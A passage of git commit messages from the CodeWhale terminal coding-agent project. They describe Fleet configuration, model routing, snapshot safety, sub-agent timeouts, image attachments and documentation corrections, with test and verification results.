press Up forever, nothing happens. That guard exists so history recall
cannot clobber a multiline draft; it now scrolls the transcript instead
of doing nothing, which preserves the draft and gives the key a job.
The composer keeps first claim on the wheel while the caret still has
somewhere to go, so in-draft navigation is unchanged.
Verified: cargo test -p codewhale-tui --bins composer_mouse_wheel
multiline_draft_ composer_arrows_scroll history_arrow -> 22 passed, 0
failed (18 pre-existing + 4 new regression tests).
Candidate branch codex/v094-fleet-rebuild @ 15439a0e3 — 13 commits, all
gates captured with exit codes, the two remaining workspace-test
failures proven pre-existing on base with in-repo acceptance criteria.
No release/tag per owner instruction.
The new release_runtime_qa leg drives the packaged binary through the
whole named-Fleet journey and asserts every receipt on-screen and every
claim on disk:
- /fleet shows the migration banner and no selection on a fresh home;
- m migrates the legacy roster into Fleet "Default" with a receipt;
- /model deepseek-v4-pro is session-only and names the explicit
commands;
- /fleet save pins the operator into the migrated Fleet (receipt names
the file; the file is v2 with the operator);
- restart applies the selected Fleet's operator to the session;
- /fleet lists the saved Fleet with its [user] scope and selection;
- /fleet save-as creates and selects a second user-global Fleet, and
the legacy profile file is left untouched.
Also fixes surfaced by the gates and the dogfood:
- /model receipt text now names the real commands (the band-era key
hints had survived in the auto path); both occurrences updated;
- clippy: dead test-only startup-default builders removed, the
picker-era with_* helpers restored as #[cfg(test)], dangling docs and
attributes cleaned, store slugify/set_selected nits, pre-existing
snapshot/repo.rs nested-if and transcript dump println fixed;
- the dogfood also exposed that a workspace selection may point at a
personal Fleet — already covered by store tests.
cargo test --test release_runtime_qa: 21 passed, 1 ignored
(paste_matrix boot-window starvation is pre-existing on base and
documented in-repo).
The first route-save prompt design (a blocking modal, then a key band)
interrupted scripted/automated terminals: a real PTY regression
(release_runtime_qa multi-terminal isolation test) proved it — typing
anything containing the band's letters (e.g. "route p**n**...") could
trigger a fleet write mid-flow. Key interception is the wrong mechanism
for a persistence decision.
The contract is now implemented with explicit commands, zero typing
interference:
- /fleet save — persists the pending session route into the selected
Fleet's operator (receipt names the exact file);
- /fleet save-as — saves the route as a new user-global Fleet and
selects it;
- /model save-default — remembers the route as the startup default
(settings.toml), the fleet-less path;
- the pending state itself is untouched by every other key, and the
/model receipt names the commands.
The route-save modal is gone; the choice vocabulary (RouteSaveChoice)
lives on as the shared contract between the commands, the receipts, and
the tests. App::apply_route_save_choice owns the writes.
Verified: release_runtime_qa release_multi_terminal_muse... PASS;
commands::groups::core 196/196; provider_switch 17/17; fleet::* 302/302;
model_picker 105/105. cargo fmt clean.
Every model row now shows what the catalog genuinely knows, and never
claims what it does not:
- vision is rendered as "vision" or "text only" only when the offering
explicitly states it (unknown renders nothing, never a guess);
- tool-call support is shown as "tools"/"no tools" when known;
- max-output tokens appear next to the context window;
- rows are grouped Provider → model family → exact model with a dim
family header when the catalog states a family (e.g. deepseek, glm);
unknown families draw no header.
The chips stay compact and whole-chip shedding on narrow terminals is
unchanged. cargo fmt clean; model_picker tests green.
Fixes the strict-gate debt on the candidate branch: dead API surface from
the Fleet/route-save work removed or annotated with reasons (the store's
qualified-name loaders stay for the ambiguity flow and its tests), the
picker-era startup-defaults builders became cfg(test) helpers where
tests still use them, dangling doc/attribute debris cleaned, and the
pre-existing snapshot/repo.rs and transcript dump-test nits fixed.
cargo fmt --all -- --check: PASS
cargo check --workspace --all-targets --locked: PASS
cargo clippy --workspace --all-targets --all-features --locked -- -D warnings: PASS
Harvested from PR #5236 by @Inference1: the local Terminal recording
(32.9s) and Token Plan account-side usage evidence replace the earlier
stills, documenting the credential-free scope of the proof set (no API
key, no authorization header, no provider trace).
Co-authored-by: Inference1 <68734681+Inference1@users.noreply.github.com>
Hermetic reproduction (crates/tui/src/config/scope_tests.rs, sealed
fixtures, no real keys, no network):
- readiness is identical across unrelated workspaces (PASS — no launch-
folder dependence);
- an explicit workspace config (CODEWHALE_CONFIG_PATH → workspace
.codewhale/config.toml) selecting a route with no credential REPRODUCED
the release blocker: a provider authorized once in the user-global
config file appeared "missing key" — a workspace override made a
global credential look locked;
- nested repos and symlinked worktrees behave identically (PASS);
- unavailable truly means unavailable with a precise reason (PASS);
- readers never rewrite configuration (PASS);
- workspace Fleet selection affects only that workspace and may point
at a personal Fleet without copying it (PASS); a saved personal Fleet
survives a restart (PASS).
Fix at the narrowest boundary: `has_api_key_for` now probes the
user-global config file's raw provider table (bounded, read-only,
non-migrating parse) before concluding a key is missing, so a workspace
override can select a different route but never hides a global
credential. The Fleet store's selection semantics were also corrected:
a workspace `fleets/selected` file may name a personal Fleet (selected
for this folder only), resolved workspace-first then personal, without
copying the file — and a selection is refused only when the name exists
nowhere (no phantom selections).
Verified: config::scope_tests 7/7; has_api_key_for, fleet::store and
provider_readiness regression slices green. cargo fmt clean.
A Workflow run needs only roles + the session route; a saved Fleet is
an optional pin layer. `workflow run` without --fleet now starts with a
null fleet binding (the TUI tool path's WorkflowFleetBinding::None
default), so role-only tasks resolve against the always-present built-in
roster and the session route — matching the kimicode/grokbuild shape
where the roster is always available. When --fleet IS given, it is still
loaded and validated (including the stopship role check) before the run
starts, and its errors are unchanged.
cargo test -p codewhale-cli: PASS (lib + bin test builds green).
One visible fast exploratory role: Scout. The agent tool schema no
longer advertises `model_strength` (parsing survives for compatibility
and maps onto the Scout policy); the workflow tool schema text and
config.example.toml copy now speak in Scout terms.
- fleet/scout.rs: resolve_scout_route with an explicit order — a pinned
Scout always wins and survives operator changes; an unpinned Scout
gets the provider's documented fast sibling (the existing
provider_router_candidates tables: DeepSeek pro/flash, Z.ai → GLM-5-
Turbo, Claude → Haiku, provider-specific wire spellings) VERIFIED
against the merged catalog before it is ever suggested; no verified
companion means deliberate inheritance, never an invented fallback;
no session route at all is Unavailable with a precise reason.
- The Fleet detail view shows the resolved Scout route before a run:
`scout → provider/model (pinned | catalog suggestion | inherits
session route)`.
- Receipts: legacy `faster`/`fast` values still parse and resolve
through the same Scout policy.
Tests: 5 scout resolution tests (pin wins + survives operator change,
verified companion, inheritance with no sibling, unavailable reason,
catalog-verification honesty gate) and the schema-vocabulary test now
asserts model_strength's absence while keeping the closed role enum.
cargo test -p codewhale-tui --bin codewhale-tui: 9800 passed, 0 failed,
9 ignored. cargo fmt clean.
A /model or /provider change (or a picker apply) now changes only the
live session. Nothing reaches settings.toml or the config file, so a
switch made in one folder can never rewrite a config another folder or
restart reads. The route-save prompt appears on the next key and is the
explicit persistence choice:
- Update this Fleet: rewrites the selected Fleet's operator route (with
a receipt naming the exact file);
- Save as a new Fleet: user-global, named after the route, selected for
new sessions;
- Remember as my default (no Fleet selected): the legacy settings.toml
path, now explicit;
- Keep for this session only: writes nothing.
The prompt is shown once per change; Esc is the same as session-only.
A rolled-back provider switch clears the pending decision (the failed
switch never persisted, so the rollback writes nothing either).
Updated the persistence contract tests to assert the new behavior
(session-local, no settings/config writes, pending decision set) and
rewrote the persistence-failure tests whose premise no longer exists.
cargo test -p codewhale-tui --bin codewhale-tui: 9795 passed, 0 failed,
9 ignored. cargo fmt clean.
The primary /fleet surface is now the saved-Fleet list. One row per
named Fleet across both scopes, each showing its display name (never the
file slug), a user/folder scope badge, and its source path; same-name
Fleets in two scopes are two rows, never a silent shadow. Legacy
per-role profiles produce one migration banner instead of a pile of
shadow badges.
- FleetListView: ↑/↓ move, Enter opens detail (legacy files open a
read-only pager instead of editing), u = select as user-global
default, w = select for this folder only, d = delete with y/n
confirm, m = migrate legacy roster into Fleet "Default" with a
receipt naming every role, pin, winner, and ignored conflict. Every
receipt names the exact file written.
- FleetDetailView: operator row + member rows; o/e open a route picker
(inherit + every configured provider/model with readiness labels —
the same route list the setup wizard's Model step shows), t cycles
reasoning through the provider's genuinely supported tiers, v toggles
the vision requirement, a adds the first unused known role, d removes
with confirm, r renames inline, s saves, c copies to the other scope,
u/w select. Editing a Fleet edits that Fleet's file — never the live
session route, never a global role collection.
- store: list_fleets now surfaces each file's display name (from
content) instead of the slug; load_fleet_in_scope resolves a Fleet in
one explicit scope so the UI never hits ambiguity.
- /fleet (bare) opens the list; /fleet roster keeps the legacy roster
one subcommand away; /fleet setup keeps the wizard.
Tests: 62 view tests (list rendering + scope badges + selection
receipts + delete confirm + legacy pager + migration banner/flow; detail
open/rename/route-pin/inherit-clear/vision toggle/save receipt/add +
remove) and 10 fleet-command tests. Store tests updated for display
names. cargo fmt clean.
Owner-steered requirements for the 0.9.4 rebuild, captured while the
work was still design: Fleets are saved configurations; Scout replaces
the "faster" control; provider → family → exact model selection;
credentials are user-global while selection layers are explicit;
members/roles pin to folders or users; copy is truthful.
The Fleet concept becomes a single self-contained TOML file
(schema = "fleet", revision 2) at $CODEWHALE_HOME/fleets/<name>.toml
(user-global) or .codewhale/fleets/<name>.toml (folder-scoped). A Fleet
owns its operator route (provider + exact model + reasoning, or the
explicit absence of one), its roster (per-member model pin or inherit,
provider on pins only, reasoning, instructions, capability
requirements), and its save scope + source.
- The legacy per-role profile files and the workflow crate's exact/
legacy named-fleet files are migration/compat input only: listed,
never shadowed, never the runtime winner alongside a v2 Fleet.
- Selection is a scope-explicit `fleets/selected` file: personal is the
user-global default, workspace overrides for this folder only and is
visibly labeled; a workspace selection can never hide a personal
Fleet. set_selected refuses to name a missing Fleet (no phantom
selections).
- migrate_legacy_roster builds a "Default" Fleet from the merged legacy
roster, preserves every pin, and returns a receipt that names each
lower-precedence copy that was ignored, so conflicts are visible
before anyone accepts the migration.
- Validation rejects bad documents with specific errors: empty name,
duplicate member ids, lone provider or model (never silently
reinterpreted), unknown capability requirements (closed vocabulary:
vision).
- Saves are atomic (temp + rename); a save refuses to clobber a
different Fleet that collides on the slug.
Tests: 7 store tests (validation, render/parse round-trip, cross-scope
save/load + ambiguity, scope-explicit selection incl. deletion
fallback, legacy listing, clobber refusal, migration pins + shadow
receipt).
The 0.9.4 Fleet rebuild on codex/v094-fleet-rebuild implemented
docs/decisions/2026-08-04-fleet-rebuild.md too literally: 371846f5c9
repointed bare /fleet from the setup/roster surface to a file-manager
shaped list plus a keybind-legend detail editor. The owner rejected it.
That branch is not merged into the train, so the fix is to harvest its
store/Scout/picker/config work without adopting its /fleet surface.
Records what a fresh cloud agent needs: which branch holds what, the
commit-by-commit keep/reject split for the rebuild, the waiting-for-
subagents policy that stops a parent from doing independent work while
children run, the unbounded work-bar growth, the unverified elapsed and
token counters, the website copy density with its locale parity
constraint, and the release blockers, telemetry publish-list gap,
CHANGELOG dating requirement, and owner-gated publish sequence.
Prior recon in this file is marked re-verify: it came from sub-agent
self-reports, not from a build.
Work-product from the 2026-08-04 desktop model-choice effort, left
untracked in the integration checkout. It is deliberately preserved
as-is: its Gap 2/3 measurements were later found to be measurement
errors (the /v1/providers endpoints exist and predate the doc), but the
credential-presence gap and the "developer build fails the desktop
version gate" finding remain actionable for the app lane.
No runtime code changed.
Consolidates the uncommitted 2026-08-04 transcript/feel lane (owner
report: "the sub agents still aren't showing up in the top bar so they
aren't inspectable"). Each change is verified against measured data or a
real PTY frame, not taste:
- history/constants.rs: tool-card budgets now sit at the knee of measured
coverage over 53 real sessions (5,470 tool results): command echo 3->6
rows (45%->70% whole), output 12->20 (50%->72%), success previews show
6 rows instead of nothing, header summary 56->72 chars, head/tail
windows 4/4->10/6, and the summary-card cap is a named constant at 6.
- history.rs: successful `run` cards preview their output instead of
collapsing to a bare header; failures keep the full budget.
- scrolling.rs/transcript.rs: block separators inside tool-card rail
groups carry the rail glyph and a copy prefix, so copied text round-
trips without the rail and without losing content.
- widgets/mod.rs: composer wrapping breaks on word boundaries, never
through a word (lossless; hard-breaks only tokens with no break point).
- phase_strip.rs: toasts get the width actually left on the row (min
32), so "Delegated coordination unavailable — an…" no longer truncates
the diagnosis away; ledger chips are budgeted first, order unchanged.
- ui.rs: coordination toast leads with the human fact ("Another CodeWhale
session in this workspace owns delegated coordination"), pid/path stay
in the detail view.
- compaction.rs: continuation headings read as product copy ("Task, in
progress" / "Latest request") instead of credential-redaction prose.
- history/thinking.rs: collapsed reasoning previews no longer mangle
identifiers into "…" (#4146/#4148 scrub removed; verbatim body, line
budget only). The two pinned tests were re-based onto the new contract
(verbatim collapse, affordance only when truncated).
- tests: qa_pty legs re-baselined to shipped keys/grammar; new
work_bar_subagents_pty.rs drives a real PTY with a loopback provider to
prove work-bar rows appear and open their detail on click/Enter.
Verified: cargo test -p codewhale-tui --bin codewhale-tui = 9773 passed,
0 failed, 9 ignored; cargo test -p codewhale-tui --test qa_pty = 41
passed, 0 failed, 2 ignored.
Two safety fixes from the 2026-08-04 snapshot/undo hunt, committed
together because they interleave in repo.rs at the hunk level.
1. S5 — user-visible notice for size-pressure prunes. Once the snapshot
side repo passes 500 MB, the next snapshot prunes aggressively — walking
retention from 1s toward zero and escalating to a full wipe plus
git gc --prune=now. Every restore target the user was about to reach is
destroyed, and the only notice was a tracing::warn: the user learned
about it later, when /undo said "No snapshots found". The block is
extracted into prune_size_pressure, which counts the snapshots it
destroys, and snapshot_with_session emits a prominent once-per-workspace
stderr notice when the count is non-zero — the same surface
maybe_notify_snapshots_disabled_once uses for init failures. The message
names the workspace, the removed count, and the cap; it suggests no
config knob because the 500 MB side-repo cap has none ([snapshots]
max_workspace_gb gates workspace size at init, a different mechanism).
2. Best-ratio change #1 — a pre-restore safety snapshot. restore() was
the one destructive operation with no undo of its own. It now captures
the workspace state before touching it, labeled
pre-restore:<target-sha-prefix> for traceability. The prefix is
deliberately not a /undo or revert_turn candidate label, so the safety
net never changes snapshot selection. Best-effort: a failed safety
snapshot logs a warning and proceeds — it must never block the restore
the user asked for. This makes several other findings (the S6/S7
restore gaps among them) recoverable instead of final.
dir_size_mb becomes dir_size_bytes; byte thresholds keep the size path
unit-testable and its test now measures bytes exactly. New tests: a
forced wipe reports the exact removed count and empties history,
under-limit is a no-op, the notice message carries workspace/count/cap,
and a restore round-trip recovers the pre-restore state through the
safety snapshot. Mutating the count, the message, or the safety call
turns the corresponding test red — mutation verified.
Assisted by a Codewhale agent session; verified locally, not pushed.
The no-progress heartbeat floor was computed only from the per-step API
timeout (api_timeout_secs + 30, clamped). Activity is recorded at step
boundaries, though, and never mid-tool, so a single tool execution may
legitimately run the full tool timeout (300s) without touching the
heartbeat. With a low [subagents] api_timeout_secs (e.g. 1) the floor
dropped to 31s and heartbeat_timeout_secs could be set as low as 30s, so
cleanup killed children mid-legitimate-build with "Auto-cancelled after
30s without sub-agent progress" (2026-08-04 sub-agent hunt, finding 4;
defaults were safe, custom configs were not).
resolve_subagent_heartbeat_timeout_secs now also takes the tool timeout
and keeps the resolved value at least tool_timeout + 30s. The default is
a new shared constant DEFAULT_SUBAGENT_TOOL_TIMEOUT_SECS; the runtime's
DEFAULT_TOOL_TIMEOUT derives from it, so the floor and the timeout
actually applied to a running tool can never drift apart.
Three existing expectations pinned the old, too-low behavior and now
assert the floor: the low-config case (31s -> 330s), and the provider
profile override case where an explicit 240s heartbeat sits below the
300s tool timeout. A new corner test asserts the safety property
(resolved >= tool_timeout + 30) for every accepted api/heartbeat
combination on both the global and provider-specific resolvers. Removing
the tool floor turns them red — mutation verified.
Assisted by a Codewhale agent session; verified locally, not pushed.
Adopts two moves from OpenAI Codex's image-input design after comparing it
against grokbuild's, which the first pass followed.
Codex splits the question CodeWhale was answering in one place. A bad file is
permanent: a missing, oversized or non-image path will still be all of those
next turn, so deciding it once at ingest costs nothing. Whether the *model* can
see an image is not permanent at all — it is a property of the route, and the
route changes whenever the user runs /model. The first pass gated both at
message-build time, which meant attaching a screenshot while a text-only model
was selected destroyed it for the rest of the session: the block was never
created, so switching to a vision model afterwards could not bring it back.
Now `expand_attachment_blocks` decides only the permanent questions and always
produces the image, and a new `strip_images_when_unsupported` runs over each
outbound request's messages in the turn loop. History keeps the real image;
only the copy going to a blind route is rewritten, in place, into text naming
the model and pointing at /model. This is Codex's
`strip_images_when_unsupported` called from `for_prompt(input_modalities)` —
send time, not store time — and it is strictly better than what grokbuild does
here, which is nothing: grokbuild has no per-model vision check at all and
relies on shipping against a known-vision-capable family.
`Unknown` still sends the image. Most routes report Unknown because models.dev
has no modality data for them, and treating unknown as "no" would make the
feature dead on arrival for the self-hosted and custom providers that most need
it, so the provider stays the authority.
Also adopts Codex's provenance bracketing: each image is wrapped in
`<image path="…">` / `</image>` text blocks. Without them a turn carrying three
screenshots hands the model three anonymous images in a row with no way to say
which is which.
Deliberately not adopted, with reasons:
- Codex's deferred-MIME choke point, where handlers emit
`application/octet-stream` and one stage corrects it. That indirection pays
for itself when there are many producers (tool handlers, CLI flag, paste,
MCP); CodeWhale has one ingest path, so sniffing directly at it is the same
guarantee with less machinery. The per-provider *projection* stays in the
three wire builders because that is already how every other block type works
here; a fourth place would be the anomaly.
- Patch-budget resizing (`MAX_DIMENSION`, `max_patches`, ICC/EXIF handling).
CodeWhale's `image` dependency is compiled with the `png` feature only, so
this means new decode features and a re-encode path. Oversized images are
refused with an actionable message instead. Worth revisiting.
- The `detail` parameter (`high`/`original`). `ContentBlock::ImageUrl` has no
field for it and adding one changes a persisted schema.
Verified: 33 tests pass across the module, the three wire builders and the
/attach command. Ten mutations were run and each killed exactly the test that
pins it — including stripping on Unknown, never stripping, stopping after the
first message, and removing the provenance tags.
Still not verified: no live provider call. Note that `crates/tui/src/tui/
transcript*` and `snapshot/repo.rs` carry another agent's in-flight work that
does not currently compile, so `--all-targets` clippy and the full workspace
suite could not be run against a clean tree from this checkout; the binary
target is clippy-clean.
Written with assistance from Claude Code.
AGENTS.md closed the "Intent is the artifact" section with "Longer form:
`docs/AGENT_ETHOS.md`". That file has four headings — Agent Ethos,
Stewardship, Agent Workflow, Product Tone — and contains none of this
material; grepping it for "intent is the artifact" or "rewriting" returns
nothing. A reader following the pointer for the rewriting doctrine got
community-stewardship guidance instead, which is the second time AGENTS.md
points at that file, for a different and correct reason, at the bottom.
Replaced it with a statement that the four bullets are authoritative and
should be linked rather than restated. That is the actual consolidation rule
this section needs: the same doctrine currently exists in three places
(here, codewhale-ops/ETHOS.md, and the misdirected pointer), and naming one
owner is what stops the next drift.
INSTALL.md's npm table named `CODEWHALE_VERSION` as the canonical way to pin a
release and demoted `DEEPSEEK_TUI_VERSION` to "legacy alias". It is the other
way round: the wrapper reads `DEEPSEEK_TUI_VERSION || DEEPSEEK_VERSION` and
nothing else (npm/codewhale/scripts/install.js:88-90, with both spellings
covered by test/install.test.js:261-268). `CODEWHALE_VERSION` appears nowhere
in npm/, scripts/, or crates/. The table marked the only working variable as
legacy and the non-existent one as canonical, so anyone pinning a version got
silently ignored. Added a line explaining why the installer keeps the
`DEEPSEEK_*` spelling, since that is the obvious next question.
ARCHITECTURE.md listed four source files that do not exist —
`tools/subagent.rs` (it is a directory), `project_doc.rs`, `session.rs`
(session code is at `core/session.rs`, already listed separately), and a
top-level `ui.rs` distinct from `tui/ui.rs` (there is only one). Dropped the
three that were pure duplicates or ghosts; corrected `subagent.rs` to the
directory and replaced "Persistent sub-agent sessions" with what the surface
actually is, since `subagent/coord.rs:5` calls the persistent-session
lifecycle "retired lifecycle theater".
Also removed "capacity flow guardrails" from the `crates/core` description —
the capacity system was removed and no `capacity` symbol survives in that
crate — and corrected the LSP default server map, which listed 7 servers and
omitted `intelephense` (PHP) while naming the Python binary `pyright` instead
of `pyright-langserver`.
SKILLS.md said `Locale::shipped()` is 8 locales. It is 15
(localization.rs:70-88) — the parity contract understated its own coverage by
seven languages, which undersells the thing the section exists to claim.
A dogfood session (qwen3.8-max, 2026-08-04, session
6e4a5375-d476-4bef-94ef-f8caa45f41fd) had the model narrate "the user
resent the same brief (probably a relay of the queued message)" in six
separate thinking blocks, burning a checkpoint each time. The report that
came out of it was that CodeWhale re-delivers a user's message on later
turns.
The persisted session disproves that. The brief occurs in exactly one
role:"user" message (index 0); every message immediately preceding a
"resent" narration is an ordinary tool_result. The model confabulated the
repetition, and said so itself when asked: "I can't see *why* it was
re-delivered ... I shouldn't have sounded certain about the cause."
What it was reacting to is real, though: message 0 genuinely contains the
brief twice, because the composer buffer that was submitted already held
two copies welded together. That is an input-path defect, not a turn-loop
one, and it is not what this test covers.
This covers the invariant the false report was about, because nothing was
pinning it and it is the invariant the prompt-prefix cache design depends
on: two turns, each with a tool step, four provider requests, and the
turn-1 prompt must appear in exactly one message — and exactly once — in
every one of them.
Mutation-tested: re-appending the first user message in
`messages_with_turn_metadata` makes it fail with "request 0 must carry the
turn-1 prompt in exactly one message: left 2, right 1".
PROVIDERS.md asserted that "every entry in `ProviderKind::ALL` and
`PROVIDER_REGISTRY` is a first-class selectable provider route", then printed
a 35-ID list that disagreed with `ALL` in both directions: it included
`deepseek-anthropic`, which `ALL` deliberately excludes, and omitted
`modelstudio-token-plan` and `custom`, which it includes. The enum's own doc
comment (provider_kind.rs:186-197) says dialect and plan kinds "are not
first-class catalog rows" — the sentence directly above the list contradicted
the source it cited. Someone would have tried to select
`provider = "deepseek-anthropic"` on the strength of it; that is a
`wire = "anthropic"` setting on `deepseek`, and the doc now says so.
Replaced the hand-maintained list with the 36 `ALL` entries in enum order and
cited the line range, so the next drift is a diff instead of a discovery.
AGENT_RUNTIME.md's file-decomposition figures were ~40% low: ui.rs is 19,086
lines, not ~13.6k, and main.rs is 17,595, not ~12.1k. The numbers were
inherited from FILE_DECOMPOSITION_0_9_0.md, which is a 0.9.0 snapshot and
fine as one — labelled it as such rather than editing the RFC.
Recorded the `agent` `max_depth` schema/parser split as a note in the spawn
depth section: the parser clamps to MAX_SPAWN_DEPTH_CEILING = 8 but the JSON
schema shown to the model declares "maximum": 3, so a model cannot ask for a
depth the runtime would grant. Doc says what is true today and flags it as a
code discrepancy; not fixing code in a docs pass.
This file already said "Historical design record, not current runtime
documentation", which covers the unlanded code sketches. It did not cover the
factual claims underneath them, and those read as guarantees.
The document promises that every alias in its deprecation manifest "stays
registered and dispatchable with identical behavior" and that "replaying an
old transcript that calls `exec_wait`, `exec_interact`, `tts`, or any `todo_*`
produces the same result it always did". Ten of the eleven manifest rows were
removed instead. registry.rs:2290-2331 asserts the `exec_*` names are gone;
registry.rs:1476-1490 asserts `checklist_*` and `todo_*` are "no longer
callable". Only `tts` survives. Someone debugging a failed replay would have
found a document telling them the failure was impossible.
Added an outcome banner at the top, a superseded note on the manifest, and a
not-adopted note on the replay guarantee. Did not renumber the file:line
citations: they were correct at v0.8.52/0.8.53, and rewriting them to today's
line numbers would make an expired record look freshly verified. Said that
explicitly instead, and named the two symbols that no longer exist at all
(`ARCEE_FIRST_TURN_NATIVE_TOOLS`, `apply_provider_tool_policy`, both removed
by 1bfcced43c) so nobody wastes a grep on them.
Corrected the one claim that was wrong in every tense: "child agents are leaf
workers and cannot recursively summon more agents". Children get `agent` and
recurse to the configured depth. Same correction as the SUBAGENTS.md commit;
this file stated it in two places.
The `[auto.router]` section was the expensive one. It said "By default the
classifier is `deepseek-v4-flash` via DeepSeek, used only when a DeepSeek key
is configured" and "When `[auto.router]` is unset, the DeepSeek-flash default
applies". That default was deliberately removed. config.rs:2392-2402 says so
in as many words: "There is deliberately no implicit default. Holding a
DeepSeek key used to elect `deepseek-v4-flash` as the classifier for every
Auto turn, which spent a user's tokens on a route they never chose and
privileged one provider over the rest."
model_inventory.rs:206-218 is the gate — `router_available =
router_configured && has_api_key_for(...)`, and with no `[auto.router]`,
`router_configured` is false, so no classifier call happens no matter what
keys are present. The `deepseek-v4-flash` literal survives there only as an
inert display label, which is presumably how the doc claim outlived the
behaviour. A user reading this would have believed Auto was spending tokens
it was not, or expected a classifier that never runs.
`[subagents] max_admitted` was documented as defaulting to 200. It defaults
to MAX_SUBAGENT_ADMISSION = 1024 (subagent_limits.rs:21, config.rs:6400).
There is no 200 anywhere in the admission path. The clamp range in the doc
was right.
`max_history` was listed as a settings.toml key. The serde field is
`max_input_history` (settings.rs:426) with no alias; `max_history` is only
the `/config set` key name (settings.rs:1388). Writing it into the file does
nothing, silently. Documented both spellings and which surface takes which.
The `codewhale` dispatcher was described as exposing "a distinct set of
commands" from `codewhale-tui`. Every command the note lists as TUI-only is
also a dispatcher passthrough (crates/cli/src/lib.rs:244-429) — it is a
superset. Also `completion` -> `completions`, the real variant name.
TOOL_SURFACE.md's "Replay-only aliases" section claimed these legacy names
"*are* still registered so saved transcripts, sessions, and recorded
automation replay without migration." Every row except `apply_patch` names a
tool that is not registered at all, and three tests assert exactly that:
registry.rs:2337-2371 task_*, pr_attempt_*, github_*, automation_*
-> "{alias} must be removed"
registry.rs:1519-1538 rlm_open/eval/configure/close/session_objects
-> "{retired} must no longer be callable"
registry.rs:1476-1490 checklist_*, todo_* -> same
So an operator following this doc would have been told a replay path exists
where calling the name hard-errors. It also contradicted this document's own
"Removed spellings" section two headings earlier. Replaced it with the one
true row (`apply_patch`, registered at registry.rs:831, hidden per
:2092-2093) plus a table of what each removed family became and which test
pins the removal.
`update_plan` was described as "reachable through `tool_search` only".
`model_visible()` returns false (plan.rs:408-413) and build_api_tools filters
on it (registry.rs:235), so it never enters the API tool list that
`tool_search` indexes — it is not reachable by any model path.
Two counts: the doc said "nine" default-active names in one place and "ten"
in another. DEFAULT_ACTIVE_NATIVE_TOOLS has 8 entries (tool_catalog.rs:48-62)
plus the synthetic `tool_search` = 9. Fixed the outlier.
The Plan-mode active list omitted `remember`, which the Plan branch does
register when memory is on (tool_setup.rs:113-118).
Dropped "in the v0.9.1 source candidate" from the header — the workspace is
0.9.4 and a version-stamped header on a living contract doc only ever rots.
Pointed at Cargo.toml instead.
The headline claim was backwards. SUBAGENTS.md said "child agents are leaf
workers: they do not receive `agent` or nested lifecycle tools." Children
are built with `with_full_agent_surface_options`
(tools/subagent/mod.rs:12164), whose own comment says children see "every
family including `with_subagent_tools` so it can recurse". `agent` is
dropped from a child catalog only when the depth budget is spent
(`can_spawn_child`, :12145, enforced at :12324 and :12469), and the default
depth is 3 — so grandchildren are the normal case, not an impossibility.
docs/AGENT_RUNTIME.md:116-121 already documented this correctly; the two
docs disagreed and the wrong one was the one about sub-agents.
The lifecycle half of the sentence was true but stated as if it were a
property of children specifically. Restated it as what it is: those tools
are gone from every registry.
Output contract: the doc printed `SUMMARY:` / `CHANGES:` / `EVIDENCE:` /
`RISKS:` / `BLOCKERS:` as colon labels in that order. The prompt the runner
actually injects requires `### SUMMARY`, `### EVIDENCE`, `### CHANGES`,
`### RISKS`, `### BLOCKERS` — Markdown headings, and EVIDENCE before
CHANGES (prompts/text.rs:414-422, asserted at prompts.rs:3222). Both the
syntax and the order were wrong, and this is the contract a parent parses.
`token_budget` was presented as a field on the model-facing `agent` tool.
It is not in the schema, and tests.rs:4260-4263 pins its absence on
purpose. Kept the section, said what is actually true: config-level
`[subagents].token_budget` works, the parser accepts the key for callers
that build the call themselves, the model never sees it.
`update_plan` was described as something a planner writes. `model_visible()`
returns false (tools/plan.rs:408-413) so no model can call it; it exists to
replay old transcripts. Said what replaced it rather than dropping the
mention.
Also `memory/workspaces/` -> `memory/workspace/`, matching
native_memory.rs:29-33.
Three claims in MEMORY.md did not survive a read of the source.
The workspace scope directory is `workspace`, not `workspaces` —
`MemoryScope::directory` returns the singular form (native_memory.rs:29-33)
and `workspace_path()` joins it at :131-137. The FTS5 index is
`index.sqlite3` (native_memory.rs:173); the string `index.db` appears
nowhere in the crate.
The `/memory` table advertised `/memory add` and `/memory reindex`. The
top-level dispatcher accepts only `"" | show | path | clear | edit | help`
plus a `native` prefix (memory.rs:236-268); both advertised subcommands
fall through to "unknown subcommand". Appending is `/memory native
remember`, reindexing is `/memory native reindex`. Replaced the table with
the two real ones and kept an explicit note about the two dead spellings so
the next reader knows what replaced them.
Also fixed the bare-`/memory` description: it prints the `memory_path`
file, not the store root and index — that receipt is `/memory native
status`.
CodeWhale could not show a model a screenshot. In a live session the model
reasoned its way to the correct conclusion from the wrong premise: "as a PNG,
it can't be read directly with the File tool... the safest bet is to admit I
can't directly view screenshots." It was right about the harness and wrong
about itself.
The message model was never the problem. `ContentBlock::ImageUrl` has existed
for a long time and round-trips through session persistence, compaction, purge,
export and all three wire builders. What it never had was a faucet: outside
`#[cfg(test)]` nothing ever constructed one. `/attach` and clipboard paste both
stopped one step short, inserting the text `[Attached image: /path/shot.png]`
and leaving the model to go read a PNG with a text tool.
This adds the faucet and closes the two wire bugs behind it.
`image_attach.rs` reads a file, identifies it from its magic bytes rather than
its extension (a JPEG named `.png` must be declared `image/jpeg` or the request
is rejected for a media-type mismatch that reads like our bug), holds it to a
5 MiB per-image budget, and emits a `data:` URL. Accepted formats are PNG, JPEG,
GIF and WebP — the intersection every vision route in the provider set takes.
BMP, TIFF, HEIC, SVG and PDF are recognized and refused *by name*, because
"not an image" would send the user hunting for a corrupt file.
`expand_attachment_blocks` is the send-time seam. The composer keeps holding a
text placeholder and the bytes are read once, on the way to the wire: multi-MB
payloads stay out of session state and undo history, and deleting the line
deletes the attachment for free.
Provider neutrality, which is where the real bugs were:
- Anthropic emitted `source: {type: "url"}` for every image. Anthropic does not
accept a `data:` URL there, so every locally attached screenshot would have
earned an opaque provider-side 400. The data URL is now split back into
`{type: "base64", media_type, data}`. References with no Anthropic
representation degrade to visible text instead of a source the API rejects.
- Chat Completions and Responses were already correct; both now have tests
pinning their differing shapes (nested object vs. bare string), because
neither had any.
Failure is never silent. A model whose route reports `image_input:
Unsupported` gets no image block and an explicit notice naming the model and
pointing at `/model`; `Unknown` attaches and lets the provider be the authority,
since most routes report Unknown and refusing there would make the feature dead
on arrival for self-hosted providers. A missing or malformed file becomes an
`<attachment_notice>` that tells the model not to describe the image from its
filename, rather than a dropped block it would cheerfully hallucinate. `/attach`
now reads the bytes up front so a bad file is refused while the user is still
looking at the command that caused it.
Verified: 27 new unit tests pass, and each was mutation-tested — reverting the
Anthropic base64 split, matching bare RIFF as WebP, moving the size boundary by
